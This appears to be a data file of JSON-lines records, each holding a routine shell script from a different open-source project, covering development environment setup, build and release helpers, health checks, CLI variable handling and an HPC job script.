PATH=\"$HOME/.rbenv/bin:$PATH\"\necho $PATH\neval \"$(rbenv init -)\"\necho 'export PATH=\"$HOME/.rbenv/bin:$PATH\"' >> ~/.bashrc\necho 'eval \"$(rbenv init -)\"' >> ~/.bashrc\nrbenv install 2.2.1\nrbenv global 2.2.1\n\n# so that rdoc and ri never get installed with gems\necho \"gem: --no-document\" >> ~/.gemrc \n\n#install bundler, get our gems\ngem install bundler\nbundle install\n\n#build the docs\ncd docs\nmake\ncd ..\n\n#install nginx and passenger\nsudo apt-get -y install nginx-extras passenger\n\n#install mongo\nsudo apt-get install -y mongodb-org\n\n# setup mongo, initial scrape on databases\nbundle exec rake scrape\n\n# run tests\nbundle exec rake\n\n# start nginx with the right config\nsudo mkdir -p /home/vagrant/umdio/data/nginx/cache # needed to add this line for nginx startup\nsudo sed -i '1i127.0.0.1 api.localhost' /etc/hosts # add a line to hosts file for convenience\nsudo nginx -s stop\nsudo nginx -c /home/vagrant/umdio/nginx.conf\n\n# install logrotate if needed\nif [[ ! -f $(which logrotate) ]]\nthen\n sudo apt-get -y install logrotate\nfi\n\n# set up logrotate config\n# create config file if it doesn't exist\nif [[ ! -f /etc/logrotate.conf ]]\nthen\n sudo touch /etc/logrotate.conf\nfi\n\n# include extra config directory\nif [[ ! $(grep \"include /etc/logrotate.d\") /etc/logrotate.conf ]]\nthen\n echo \"include /etc/logrotate.d\" >> /etc/logrotate.conf\nfi\nsudo mkdir -p /etc/logrotate.d/\n\n# move nginx config\nsudo cp /home/vagrant/umdio/logrotate.d/nginx /etc/logrotate.d/\nsudo chown 644 /etc/logrotate.d/nginx"} {"text": "0\n#!/bin/bash\n\nmkdir -p \"$HOME/.ssh\"\n\nif [ ! -f \"$HOME/.ssh/id_rsa\" ]; then\n ssh-keygen -b 2048 -t rsa -f $HOME/sshkey -q -N \"\"\nfi"} {"text": "informix_status.sh\n#!/bin/bash\n#\n# name: informix_status.sh:\n# description: Check the status of Informix engine \n# Called by: HEALTHCHECK (docker) \n\n\n. /usr/local/bin/informix_inf.env\nonstat -\nrc=$?\n\nif [ ${rc} != 5 ];then\n\texit 1\nelse\n\texit 0\nfi"} {"text": "#!/bin/bash\n\nCIPHERTEXT=\"\nENCLAVE_CID=$(nitro-cli describe-enclaves | jq -r .[0].EnclaveCID)\n\n\nfor i in {1..10000}; do\n\t#statements\n\techo\n\techo \"<<<<<< $i >>>>>>\"\n\techo\n\tdocker run --network host -it kmstool-instance /kmstool_instance --cid \"$ENCLAVE_CID\" \"$CIPHERTEXT\"\n\tsleep 1\n\techo\n\techo \"================\"\ndone\n\necho \"done\""} {"text": "pnmadelaine/karamel\n#!/usr/bin/env bash\n\n#set -x\nset -e\n\ntarget=$1\nout_file=$2\nthreads=$3\nbranchname=$4\n\n# this is a special file that is parsed by Azure Devops\nresult_file=\"../result.txt\"\n\nbuild_home=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" && pwd )\"\n. \"$build_home\"/build_funs.sh\n\nexport_home KRML \"$(pwd)/karamel\"\nexport_home FSTAR \"$(pwd)/FStar\"\n\ncd karamel\nrootPath=$(pwd)\nexec_build\ncd .."} {"text": "vovimayhem/mobile-subscriber-gem1-10\n#! /bin/bash\n\ndocker build --rm -t vovimayhem/mobile_subscriber:development ."} {"text": "src/libexec/database/variables.sh\n#\n# K2HDKC DBaaS Command Line Interface - K2HR3 CLI Plugin\n#\n# Copyright 2021 Yahoo! Japan Corporation.\n#\n# K2HDKC DBaaS is a DataBase as a Service provided by Yahoo! JAPAN\n# which is built K2HR3 as a backend and provides services in\n# cooperation with OpenStack.\n# The Override configuration for K2HDKC DBaaS serves to connect the\n# components that make up the K2HDKC DBaaS. K2HDKC, K2HR3, CHMPX,\n# and K2HASH are components provided as AntPickax.\n#\n# For the full copyright and license information, please view\n# the license file that was distributed with this source code.\n#\n# AUTHOR: \n# CREATE: Mon Mar 1 2021\n# REVISION:\n#\n\n#--------------------------------------------------------------\n# DBaaS Valiables\n#--------------------------------------------------------------\n# The following values are used in the K2HDKC DBAAS CLI.\n#\n#\tK2HR3CLI_DBAAS_CONFIG\n#\tK2HR3CLI_OPENSTACK_USER\n#\tK2HR3CLI_OPENSTACK_USER_ID\n#\tK2HR3CLI_OPENSTACK_PASS\n#\tK2HR3CLI_OPENSTACK_TENANT\n#\tK2HR3CLI_OPENSTACK_TENANT_ID\n#\tK2HR3CLI_OPENSTACK_SCOPED_TOKEN\n#\tK2HR3CLI_OPENSTACK_IDENTITY_URI\n#\tK2HR3CLI_OPENSTACK_NOVA_URI\n#\tK2HR3CLI_OPENSTACK_GLANCE_URI\n#\tK2HR3CLI_OPENSTACK_NEUTRON_URI\n#\n\n#--------------------------------------------------------------\n# DBaaS Variables for Configration\n#--------------------------------------------------------------\n#\n# Description\n#\nif [ \"X${K2HR3CLI_PLUGIN_CONFIG_VAR_DESC}\" != \"X\" ]; then\n\tK2HR3CLI_PLUGIN_CONFIG_VAR_DESC=\"${K2HR3CLI_PLUGIN_CONFIG_VAR_DESC} config_var_desciption_dbaas\"\nelse\n\tK2HR3CLI_PLUGIN_CONFIG_VAR_DESC=\"config_var_desciption_dbaas\"\nfi\n\n#\n# Names\n#\nif [ \"X${K2HR3CLI_PLUGIN_CONFIG_VAR_NAME}\" != \"X\" ]; then\n\tK2HR3CLI_PLUGIN_CONFIG_VAR_NAME=\"${K2HR3CLI_PLUGIN_CONFIG_VAR_NAME} config_var_name_dbaas\"\nelse\n\tK2HR3CLI_PLUGIN_CONFIG_VAR_NAME=\"config_var_name_dbaas\"\nfi\n\n#\n# Check DBaaS Variables\n#\nif [ \"X${K2HR3CLI_PLUGIN_CONFIG_CHECK_VAR}\" != \"X\" ]; then\n\tK2HR3CLI_PLUGIN_CONFIG_CHECK_VAR=\"${K2HR3CLI_PLUGIN_CONFIG_CHECK_VAR} config_check_var_name_dbaas\"\nelse\n\tK2HR3CLI_PLUGIN_CONFIG_CHECK_VAR=\"config_check_var_name_dbaas\"\nfi\n\n#--------------------------------------------------------------\n# Functions\n#--------------------------------------------------------------\n#\n# Return variable description for this Example Plugin\n#\n# $?\t: result\n#\n# [NOTE]\n# +---+----+----+----+----+----+----+----+----+----+----+----+----|\n# ^ ^\n# | +--- Start for Description\n# +------- Start for Variables Title\n#\nconfig_var_desciption_dbaas()\n{\n\tprn_msg \"K2HR3CLI_DBAAS_CONFIG\"\n\tprn_msg \" Specifies the DBaaS configuration directory path.\"\n\tprn_msg \"\"\n\tprn_msg \"K2HR3CLI_OPENSTACK_USER\"\n\tprn_msg \" Set the user name of OpenStack.\"\n\tprn_msg \"\"\n\tprn_msg \"K2HR3CLI_OPENSTACK_USER_ID\"\n\tprn_msg \" Set the user id of OpenStack.\"\n\tprn_msg \"\"\n\tprn_msg \"K2HR3CLI_OPENSTACK_PASS\"\n\tprn_msg \" Set the passphrase for the OpenStack user.\"\n\tprn_msg \" RECOMMEND THAT THIS VALUE IS NOT SET TO ADDRESS SECURITY\"\n\tprn_msg \" VULNERABILITIES.\"\n\tprn_msg \"\"\n\tprn_msg \"K2HR3CLI_OPENSTACK_TENANT\"\n\tprn_msg \" Specify the available tenant for OpenStack. A Scoped Token\"\n\tprn_msg \" will be issued to this tenant.\"\n\tprn_msg \"\"\n\tprn_msg \"K2HR3CLI_OPENSTACK_TENANT_ID\"\n\tprn_msg \" Specify the available tenant id for OpenStack.\"\n\tprn_msg \"\"\n\tprn_msg \"K2HR3CLI_OPENSTACK_SCOPED_TOKEN\"\n\tprn_msg \" Set the Scoped Token of OpenStack.\"\n\tprn_msg \"\"\n\tprn_msg \"K2HR3CLI_OPENSTACK_IDENTITY_URI\"\n\tprn_msg \" Specifies the OpenStack Identity URI.\"\n\tprn_msg \"\"\n\tprn_msg \"K2HR3CLI_OPENSTACK_NOVA_URI\"\n\tprn_msg \" Specifies the OpenStack Nova(Compute) URI.\"\n\tprn_msg \"\"\n\tprn_msg \"K2HR3CLI_OPENSTACK_GLANCE_URI\"\n\tprn_msg \" Specifies the OpenStack Glance(Images) URI.\"\n\tprn_msg \"\"\n\tprn_msg \"K2HR3CLI_OPENSTACK_NEUTRON_URI\"\n\tprn_msg \" Specifies the OpenStack Neutron(Network) URI.\"\n\tprn_msg \"\"\n}\n\n#\n# Return variable name\n#\n# $1\t\t: variable name(if empty, it means all)\n# $?\t\t: result\n# Output\t: variable names(with separator is space)\n#\nconfig_var_name_dbaas()\n{\n\tif [ \"X$1\" = \"X\" ]; then\n\t\tif [ \"X${K2HR3CLI_DBAAS_CONFIG}\" != \"X\" ]; then\n\t\t\tprn_msg \"K2HR3CLI_DBAAS_CONFIG: \\\"${K2HR3CLI_DBAAS_CONFIG}\\\"\"\n\t\telse\n\t\t\tprn_msg \"K2HR3CLI_DBAAS_CONFIG: (empty)\"\n\t\tfi\n\t\tif [ \"X${K2HR3CLI_OPENSTACK_USER}\" != \"X\" ]; then\n\t\t\tprn_msg \"K2HR3CLI_OPENSTACK_USER: \\\"${K2HR3CLI_OPENSTACK_USER}\\\"\"\n\t\telse\n\t\t\tprn_msg \"K2HR3CLI_OPENSTACK_USER: (empty)\"\n\t\tfi\n\t\tif [ \"X${K2HR3CLI_OPENSTACK_USER_ID}\" != \"X\" ]; then\n\t\t\tprn_msg \"K2HR3CLI_OPENSTACK_USER_ID: \\\"${K2HR3CLI_OPENSTACK_USER_ID}\\\"\"\n\t\telse\n\t\t\tprn_msg \"K2HR3CLI_OPENSTACK_USER_ID: (empty)\"\n\t\tfi\n\t\tif [ \"X${K2HR3CLI_OPENSTACK_PASS}\" != \"X\" ]; then\n\t\t\tprn_msg \"K2HR3CLI_OPENSTACK_PASS: \\\"********(${#K2HR3CLI_OPENSTACK_PASS})\\\"\"\n\t\telse\n\t\t\tprn_msg \"K2HR3CLI_OPENSTACK_PASS: (empty)\"\n\t\tfi\n\t\tif [ \"X${K2HR3CLI_OPENSTACK_TENANT}\" != \"X\" ]; then\n\t\t\tprn_msg \"K2HR3CLI_OPENSTACK_TENANT: \\\"${K2HR3CLI_OPENSTACK_TENANT}\\\"\"\n\t\telse\n\t\t\tprn_msg \"K2HR3CLI_OPENSTACK_TENANT: (empty)\"\n\t\tfi\n\t\tif [ \"X${K2HR3CLI_OPENSTACK_TENANT_ID}\" != \"X\" ]; then\n\t\t\tprn_msg \"K2HR3CLI_OPENSTACK_TENANT_ID: \\\"${K2HR3CLI_OPENSTACK_TENANT_ID}\\\"\"\n\t\telse\n\t\t\tprn_msg \"K2HR3CLI_OPENSTACK_TENANT_ID: (empty)\"\n\t\tfi\n\t\tif [ \"X${K2HR3CLI_OPENSTACK_SCOPED_TOKEN}\" != \"X\" ]; then\n\t\t\tprn_msg \"K2HR3CLI_OPENSTACK_SCOPED_TOKEN: \\\"${K2HR3CLI_OPENSTACK_SCOPED_TOKEN}\\\"\"\n\t\telse\n\t\t\tprn_msg \"K2HR3CLI_OPENSTACK_SCOPED_TOKEN: (empty)\"\n\t\tfi\n\t\tif [ \"X${K2HR3CLI_OPENSTACK_IDENTITY_URI}\" != \"X\" ]; then\n\t\t\tprn_msg \"K2HR3CLI_OPENSTACK_IDENTITY_URI: \\\"${K2HR3CLI_OPENSTACK_IDENTITY_URI}\\\"\"\n\t\telse\n\t\t\tprn_msg \"K2HR3CLI_OPENSTACK_IDENTITY_URI: (empty)\"\n\t\tfi\n\t\tif [ \"X${K2HR3CLI_OPENSTACK_NOVA_URI}\" != \"X\" ]; then\n\t\t\tprn_msg \"K2HR3CLI_OPENSTACK_NOVA_URI: \\\"${K2HR3CLI_OPENSTACK_NOVA_URI}\\\"\"\n\t\telse\n\t\t\tprn_msg \"K2HR3CLI_OPENSTACK_NOVA_URI: (empty)\"\n\t\tfi\n\t\tif [ \"X${K2HR3CLI_OPENSTACK_GLANCE_URI}\" != \"X\" ]; then\n\t\t\tprn_msg \"K2HR3CLI_OPENSTACK_GLANCE_URI: \\\"${K2HR3CLI_OPENSTACK_GLANCE_URI}\\\"\"\n\t\telse\n\t\t\tprn_msg \"K2HR3CLI_OPENSTACK_GLANCE_URI: (empty)\"\n\t\tfi\n\t\tif [ \"X${K2HR3CLI_OPENSTACK_NEUTRON_URI}\" != \"X\" ]; then\n\t\t\tprn_msg \"K2HR3CLI_OPENSTACK_NEUTRON_URI: \\\"${K2HR3CLI_OPENSTACK_NEUTRON_URI}\\\"\"\n\t\telse\n\t\t\tprn_msg \"K2HR3CLI_OPENSTACK_NEUTRON_URI: (empty)\"\n\t\tfi\n\t\treturn 0\n\n\telif [ \"X$1\" = \"XK2HR3CLI_DBAAS_CONFIG\" ]; then\n\t\tif [ \"X${K2HR3CLI_DBAAS_CONFIG}\" != \"X\" ]; then\n\t\t\tprn_msg \"K2HR3CLI_DBAAS_CONFIG: \\\"${K2HR3CLI_DBAAS_CONFIG}\\\"\"\n\t\telse\n\t\t\tprn_msg \"K2HR3CLI_DBAAS_CONFIG: (empty)\"\n\t\tfi\n\t\treturn 0\n\n\telif [ \"X$1\" = \"XK2HR3CLI_OPENSTACK_USER\" ]; then\n\t\tif [ \"X${K2HR3CLI_OPENSTACK_USER}\" != \"X\" ]; then\n\t\t\tprn_msg \"K2HR3CLI_OPENSTACK_USER: \\\"${K2HR3CLI_OPENSTACK_USER}\\\"\"\n\t\telse\n\t\t\tprn_msg \"K2HR3CLI_OPENSTACK_USER: (empty)\"\n\t\tfi\n\t\treturn 0\n\n\telif [ \"X$1\" = \"XK2HR3CLI_OPENSTACK_USER_ID\" ]; then\n\t\tif [ \"X${K2HR3CLI_OPENSTACK_USER_ID}\" != \"X\" ]; then\n\t\t\tprn_msg \"K2HR3CLI_OPENSTACK_USER_ID: \\\"${K2HR3CLI_OPENSTACK_USER_ID}\\\"\"\n\t\telse\n\t\t\tprn_msg \"K2HR3CLI_OPENSTACK_USER_ID: (empty)\"\n\t\tfi\n\t\treturn 0\n\n\telif [ \"X$1\" = \"XK2HR3CLI_OPENSTACK_PASS\" ]; then\n\t\tif [ \"X${K2HR3CLI_OPENSTACK_PASS}\" != \"X\" ]; then\n\t\t\tprn_msg \"K2HR3CLI_OPENSTACK_PASS: \\\"${K2HR3CLI_OPENSTACK_PASS}\\\"\"\n\t\telse\n\t\t\tprn_msg \"K2HR3CLI_OPENSTACK_PASS: (empty)\"\n\t\tfi\n\t\treturn 0\n\n\telif [ \"X$1\" = \"XK2HR3CLI_OPENSTACK_TENANT\" ]; then\n\t\tif [ \"X${K2HR3CLI_OPENSTACK_TENANT}\" != \"X\" ]; then\n\t\t\tprn_msg \"K2HR3CLI_OPENSTACK_TENANT: \\\"${K2HR3CLI_OPENSTACK_TENANT}\\\"\"\n\t\telse\n\t\t\tprn_msg \"K2HR3CLI_OPENSTACK_TENANT: (empty)\"\n\t\tfi\n\t\treturn 0\n\n\telif [ \"X$1\" = \"XK2HR3CLI_OPENSTACK_TENANT_ID\" ]; then\n\t\tif [ \"X${K2HR3CLI_OPENSTACK_TENANT_ID}\" != \"X\" ]; then\n\t\t\tprn_msg \"K2HR3CLI_OPENSTACK_TENANT_ID: \\\"${K2HR3CLI_OPENSTACK_TENANT_ID}\\\"\"\n\t\telse\n\t\t\tprn_msg \"K2HR3CLI_OPENSTACK_TENANT_ID: (empty)\"\n\t\tfi\n\t\treturn 0\n\n\telif [ \"X$1\" = \"XK2HR3CLI_OPENSTACK_SCOPED_TOKEN\" ]; then\n\t\tif [ \"X${K2HR3CLI_OPENSTACK_SCOPED_TOKEN}\" != \"X\" ]; then\n\t\t\tprn_msg \"K2HR3CLI_OPENSTACK_SCOPED_TOKEN: \\\"${K2HR3CLI_OPENSTACK_SCOPED_TOKEN}\\\"\"\n\t\telse\n\t\t\tprn_msg \"K2HR3CLI_OPENSTACK_SCOPED_TOKEN: (empty)\"\n\t\tfi\n\t\treturn 0\n\n\telif [ \"X$1\" = \"XK2HR3CLI_OPENSTACK_IDENTITY_URI\" ]; then\n\t\tif [ \"X${K2HR3CLI_OPENSTACK_IDENTITY_URI}\" != \"X\" ]; then\n\t\t\tprn_msg \"K2HR3CLI_OPENSTACK_IDENTITY_URI: \\\"${K2HR3CLI_OPENSTACK_IDENTITY_URI}\\\"\"\n\t\telse\n\t\t\tprn_msg \"K2HR3CLI_OPENSTACK_IDENTITY_URI: (empty)\"\n\t\tfi\n\t\treturn 0\n\n\telif [ \"X$1\" = \"XK2HR3CLI_OPENSTACK_NOVA_URI\" ]; then\n\t\tif [ \"X${K2HR3CLI_OPENSTACK_NOVA_URI}\" != \"X\" ]; then\n\t\t\tprn_msg \"K2HR3CLI_OPENSTACK_NOVA_URI: \\\"${K2HR3CLI_OPENSTACK_NOVA_URI}\\\"\"\n\t\telse\n\t\t\tprn_msg \"K2HR3CLI_OPENSTACK_NOVA_URI: (empty)\"\n\t\tfi\n\t\treturn 0\n\n\telif [ \"X$1\" = \"XK2HR3CLI_OPENSTACK_GLANCE_URI\" ]; then\n\t\tif [ \"X${K2HR3CLI_OPENSTACK_GLANCE_URI}\" != \"X\" ]; then\n\t\t\tprn_msg \"K2HR3CLI_OPENSTACK_GLANCE_URI: \\\"${K2HR3CLI_OPENSTACK_GLANCE_URI}\\\"\"\n\t\telse\n\t\t\tprn_msg \"K2HR3CLI_OPENSTACK_GLANCE_URI: (empty)\"\n\t\tfi\n\t\treturn 0\n\n\n\telif [ \"X$1\" = \"XK2HR3CLI_OPENSTACK_NEUTRON_URI\" ]; then\n\t\tif [ \"X${K2HR3CLI_OPENSTACK_NEUTRON_URI}\" != \"X\" ]; then\n\t\t\tprn_msg \"K2HR3CLI_OPENSTACK_NEUTRON_URI: \\\"${K2HR3CLI_OPENSTACK_NEUTRON_URI}\\\"\"\n\t\telse\n\t\t\tprn_msg \"K2HR3CLI_OPENSTACK_NEUTRON_URI: (empty)\"\n\t\tfi\n\t\treturn 0\n\tfi\n\treturn 1\n}\n\n#\n# Check variable name\n#\n# $1\t\t: variable name\n# $?\t\t: result\n#\nconfig_check_var_name_dbaas()\n{\n\tif [ \"X$1\" = \"XK2HR3CLI_DBAAS_CONFIG\" ]; then\n\t\treturn 0\n\telif [ \"X$1\" = \"XK2HR3CLI_OPENSTACK_USER\" ]; then\n\t\treturn 0\n\telif [ \"X$1\" = \"XK2HR3CLI_OPENSTACK_USER_ID\" ]; then\n\t\treturn 0\n\telif [ \"X$1\" = \"XK2HR3CLI_OPENSTACK_PASS\" ]; then\n\t\treturn 0\n\telif [ \"X$1\" = \"XK2HR3CLI_OPENSTACK_TENANT\" ]; then\n\t\treturn 0\n\telif [ \"X$1\" = \"XK2HR3CLI_OPENSTACK_TENANT_ID\" ]; then\n\t\treturn 0\n\telif [ \"X$1\" = \"XK2HR3CLI_OPENSTACK_SCOPED_TOKEN\" ]; then\n\t\treturn 0\n\telif [ \"X$1\" = \"XK2HR3CLI_OPENSTACK_IDENTITY_URI\" ]; then\n\t\treturn 0\n\telif [ \"X$1\" = \"XK2HR3CLI_OPENSTACK_NOVA_URI\" ]; then\n\t\treturn 0\n\telif [ \"X$1\" = \"XK2HR3CLI_OPENSTACK_GLANCE_URI\" ]; then\n\t\treturn 0\n\telif [ \"X$1\" = \"XK2HR3CLI_OPENSTACK_NEUTRON_URI\" ]; then\n\t\treturn 0\n\tfi\n\treturn 1\n}\n\n#\n# Local variables:\n# tab-width: 4\n# c-basic-offset: 4\n# End:\n# vim600: noexpandtab sw=4 ts=4 fdm=marker\n# vim<600: noexpandtab sw=4 ts=4\n#"} {"text": "build/run-local.sh\n#!/usr/bin/env bash\n\nKUBECONFIG=${1-openshift.local.clusterup/openshift-apiserver/admin.kubeconfig}\nPROJECT_NAME=${PROJECT_NAME-default}\n\necho \"Using KUBECONFIG '$KUBECONFIG'\"\necho \"Using PROJECT_NAME '$PROJECT_NAME'\"\n\noc login -u system:admin\noc project \"$PROJECT_NAME\"\noc apply -f deploy/rbac.yaml\noc apply -f deploy/crd.yaml\noc wait --for condition=established crd infinispans.infinispan.org --timeout=60s\nWATCH_NAMESPACE=\"$PROJECT_NAME\" ./build/_output/bin/infinispan-operator -kubeconfig \"$KUBECONFIG\""} {"text": "philipmac/SimpleITK0\n#!/usr/bin/env bash\n#==========================================================================\n#\n# Copyright Insight Software Consortium\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0.txt\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n#==========================================================================*/\n\n# This script, given an ExternalData object store, checks all ExternalData\n# .md5 and .sha512 content links in the ITK source, verifies that hashes\n# correspond to the same file, and creates both .md5 and .sha512 hashes if\n# they are missing.\n#\n# If content link verification fails, the script notifies the caller and exits.\n# The error should be resolved manually before re-execution.\n#\n# Once executed, a commit can be created from the result.\n#\n# This script should be executed prior to releases. After any missing content\n# links have been merged, the scripts to archive testing data on the Midas and\n# Girder stores should be executed.\n\ndie() {\n echo \"$@\" 1>&2; exit 1\n}\ndo_cleanup=false\nobject_store=\"\"\nhelp=false\nwhile [[ $# -gt 0 ]] ;\ndo\n opt=\"$1\";\n shift;\n case \"$opt\" in\n \"-h\"|\"--help\")\n help=true;;\n \"--cleanup\" )\n do_cleanup=true;;\n *) if test \"${object_store}\" = \"\" ; then object_store=$opt; else echo >&2 \"Invalid option: $opt\"; exit 1; fi;;\n esac\ndone\n\nif test \"${object_store}\" = \"\" || $help; then\n die \"Usage: $0 [--cleanup]\"\nfi\n\n\n# Check for a tool to get MD5 sums from.\nif type -p md5sum >/dev/null; then\n readonly md5tool=\"md5sum\"\n readonly md5regex=\"s/ .*//\"\nelif type -p md5 >/dev/null; then\n readonly md5tool=\"md5\"\n readonly md5regex=\"s/.*= //\"\nelif type -p cmake >/dev/null; then\n readonly md5tool=\"cmake -E md5sum\"\n readonly md5regex=\"s/ .*//\"\nelse\n die \"No 'md5sum' or 'md5' tool found.\"\nfi\n\ncompute_md5() {\n $md5tool \"$1\" | sed -e \"$md5regex\"\n}\n\n\n# Check for a tool to get SHA512 sums from.\nif type -p sha512sum >/dev/null; then\n readonly sha512tool=\"sha512sum\"\n readonly sha512regex=\"s/ .*//\"\nelif type -p cmake >/dev/null; then\n readonly sha512tool=\"cmake -E sha512sum\"\n readonly sha512regex=\"s/ .*//\"\nelse\n die \"No 'sha512sum' tool found.\"\nfi\n\ncompute_sha512 () {\n $sha512tool \"$1\" | sed -e \"$sha512regex\"\n}\n\ntop_level_dir=$(git rev-parse --show-toplevel)\ncd \"$top_level_dir\"\n\nmkdir -p ${object_store}/{MD5,SHA512}\n\nverify_and_create() {\n algo=$1\n alt_algo=$2\n\n algo_upper=$(echo $algo | awk '{print toupper($0)}')\n alt_algo_upper=$(echo $alt_algo | awk '{print toupper($0)}')\n\n find . -name \"*.${algo}\" -print0 | while read -d '' -r algo_file; do\n echo \"Content link ${algo_file} ...\"\n if test -z \"${algo_file}\"; then\n die \"Empty content link!\"\n continue\n fi\n algo_hash=$(cat \"${algo_file}\" | tr -d '[[:space:]]')\n alt_algo_file=${algo_file%\\.*}.${alt_algo}\n if test ! -e \"${object_store}/${algo_upper}/${algo_hash}\"; then\n if test -e \"${alt_algo_file}\"; then\n alt_algo_hash=$(cat \"${alt_algo_file}\" | tr -d '[[:space:]]')\n if test -e \"${object_store}/${alt_algo_upper}/${alt_algo_hash}\"; then\n echo \"Found object in ${alt_algo} store, copying to ${algo} store...\"\n cp \"${object_store}/${alt_algo_upper}/${alt_algo_hash}\" \"${object_store}/${algo_upper}/${algo_hash}\"\n else\n die \"Could not find data object in store!\"\n fi\n else\n die \"Could not find data object in store!\"\n fi\n fi\n echo \"Verifying ${algo_file}...\"\n object_algo_hash=$(compute_${algo} \"${object_store}/${algo_upper}/${algo_hash}\" )\n if test \"${algo_hash}\" != \"${object_algo_hash}\"; then\n die \"${algo}sum for ${object_store}/${algo_upper}/${algo_hash} does not equal hash in ${algo_file}!\"\n fi\n\n object_alt_algo_hash=$(compute_${alt_algo} \"${object_store}/${algo_upper}/${algo_hash}\" )\n if test -e \"${alt_algo_file}\"; then\n echo \"Verifying ${alt_algo_file}...\"\n alt_algo_hash=$(cat \"${alt_algo_file}\" | tr -d '[[:space:]]')\n if test \"${alt_algo_hash}\" != \"${object_alt_algo_hash}\"; then\n die \"${alt_algo}sum for ${object_store}/${algo_upper}/${algo_hash} does not equal hash in ${alt_algo_file}!\"\n fi\n else\n echo \"Creating ${alt_algo_file}...\"\n echo \"${object_alt_algo_hash}\" > \"${alt_algo_file}\"\n if [ ! -x \"${object_store}/${alt_algo_upper}/${object_alt_algo_hash}\" ]; then\n cp \"${object_store}/${algo_upper}/${algo_hash}\" \"${object_store}/${alt_algo_upper}/${object_alt_algo_hash}\"\n fi\n fi\n done || exit 1\n}\n\ncleanup() {\n algo=$1\n alt_algo=$2\n\n algo_upper=$(echo $algo | awk '{print toupper($0)}')\n alt_algo_upper=$(echo $alt_algo | awk '{print toupper($0)}')\n\n for algo_file_name in `ls \"${object_store}/${algo_upper}\"`; do\n algo_file=${object_store}/${algo_upper}/${algo_file_name}\n echo \"Verifying ${algo_file}\"\n alt_algo_file=$(\"compute_${algo}\" \"${algo_file}\")\n if test ! -e \"${object_store}/${alt_algo_upper}/${alt_algo_file}\"; then\n die \"extra file ${algo_file} ...\"\n fi\n done || exit 1\n}\n\n\nverify_and_create md5 sha512\nverify_and_create sha512 md5\n\nif $do_cleanup; then\n cleanup md5 sha512\n cleanup sha512 md5\nfi\n\necho \"\"\necho \"Verification completed successfully.\"\necho \"\"\necho \"Commit new content links as necessary.\""} {"text": "#!/bin/bash\n\nDOCKER_TTY=\"${DOCKER_TTY:+\"-t\"}\"\n\nif [[ ! -f bin/gren_token ]]; then\n echo \"File bin/gren_token is needed; should contain a Github token with repo access\"\n exit 1\nfi\n\nrun_gren() {\n docker run -i ${DOCKER_TTY} \\\n -v $(pwd):/data \\\n -w /data \\\n -u $(id -u):$(id -g) \\\n -e GREN_GITHUB_TOKEN=$(cat bin/gren_token) \\\n ignite-relnotes \\\n /bin/bash -c \"gren $@\"\n}\n\nmake_tidy_autogen() {\n make autogen tidy-in-docker graph\n if [[ $(git status --short) != \"\" ]]; then\n git add -A\n git commit -m \"Ran 'make autogen tidy graph'\"\n fi\n}\n\ngen_changelog_md() {\n file=\"CHANGELOG.md\"\n echo '' > ${file}\n echo \"\" >> ${file}\n echo \"# Changelog\" >> ${file}\n echo \"\" >> ${file}\n \n # Generate docs/releases/next.md based of GH release notes\n run_gren \"changelog\"\n # Add the new release and existing ones to the changelog\n cat \"docs/releases/${FULL_VERSION}.md\" docs/releases/next.md >> ${file}\n # Remove the temporary file\n rm docs/releases/next.md\n}\n\nwrite_changelog() {\n # Generate the changelog draft\n if [[ ! -f \"docs/releases/${FULL_VERSION}.md\" ]]; then\n # Build the gren image\n docker build -t ignite-relnotes hack/relnotes\n\n # Push a temporary changlog-tag (we'll delete this)\n CHANGELOG_TAG=\"changelog-tmp-${FULL_VERSION}\"\n\n echo \"Tagging the current commit ${CHANGELOG_TAG} temporarily in order to run gren...\"\n git tag -f \"${CHANGELOG_TAG}\"\n git push upstream --tags -f\n\n echo \"Creating a changelog for PRs between tags ${CHANGELOG_TAG}..${PREVIOUS_TAG}\"\n run_gren \"changelog --generate --tags=${CHANGELOG_TAG}..${PREVIOUS_TAG}\"\n\n git push --delete upstream \"${CHANGELOG_TAG}\"\n git tag --delete \"${CHANGELOG_TAG}\"\n\n mv docs/releases/next.md \"docs/releases/${FULL_VERSION}.md\"\n # Add an extra newline in the end of the changelog\n echo \"\" >> \"docs/releases/${FULL_VERSION}.md\"\n fi\n\n read -p \"Please manually fixup the changelog file now. Continue? [y/N] \" confirm\n if [[ ! ${confirm} =~ ^[Yy]$ ]]; then\n exit 1\n fi\n\n # Generate the CHANGELOG.md file\n gen_changelog_md\n\n # Proceed with making the commit\n read -p \"Are you sure you want to do a commit for the changelog? [y/N] \" confirm\n if [[ ! ${confirm} =~ ^[Yy]$ ]]; then\n exit 1\n fi\n\n git add \"docs/releases/${FULL_VERSION}.md\" \"CHANGELOG.md\"\n git commit -m \"Document ${FULL_VERSION} change log\"\n}\n\nbuild_push_release_artifacts() {\n make release\n # Do this at a later stage\n #make -C images push-all\n}"} {"text": "#!/bin/bash -login\n### Job name\n### Resources\n#PBS -l nodes=1:ppn=5,walltime=05:00:00:00,mem=44gb\n### Send email if the job encounters an error\n#PBS –m a\n### Output files to where you submitted your batch file\n#PBS -e ./jobs/$PBS_JOBNAME.err\n#PBS -o ./jobs/$PBS_JOBNAME.log\n#PBS -j oe\n\n# Change to working directory\ncd $PBS_O_WORKDIR\n\n# Load appropriate modules\nmodule load Java/1.8.0_31\nmodule load Python/3.3.2\nmodule load FastQC/0.11.3\nmodule load Trimmomatic/0.33\nmodule load sickle/1.33\nmodule load SAMTools/1.2\nmodule load picardTools/1.113\nmodule load GATK/3.7.0\n\n# Execute via python script\npython ./scripts/fastq2bam.py ${Var}\n\n# Collect stats on run\nqstat -f ${PBS_JOBID}"} {"text": "build/osx/build.sh\n#!/usr/bin/env bash\necho \"removing old files...\"\nrm -rf build\nrm -rf dist\n\n# Check if error introducing packages are still there\npip uninstall enum34\npip uninstall imagecodecs\n\necho \"building app...\"\n#onefolder\npyinstaller -D -y --clean aydin.spec # -D -y --clean\n\n\nmkdir -p dist/aydin_0.1.5rc12.app/Contents/MacOS\nmkdir -p dist/aydin_0.1.5rc12.app/Contents/Resources\n\ncp /PATH/TO/sklearn/cluster/*.so 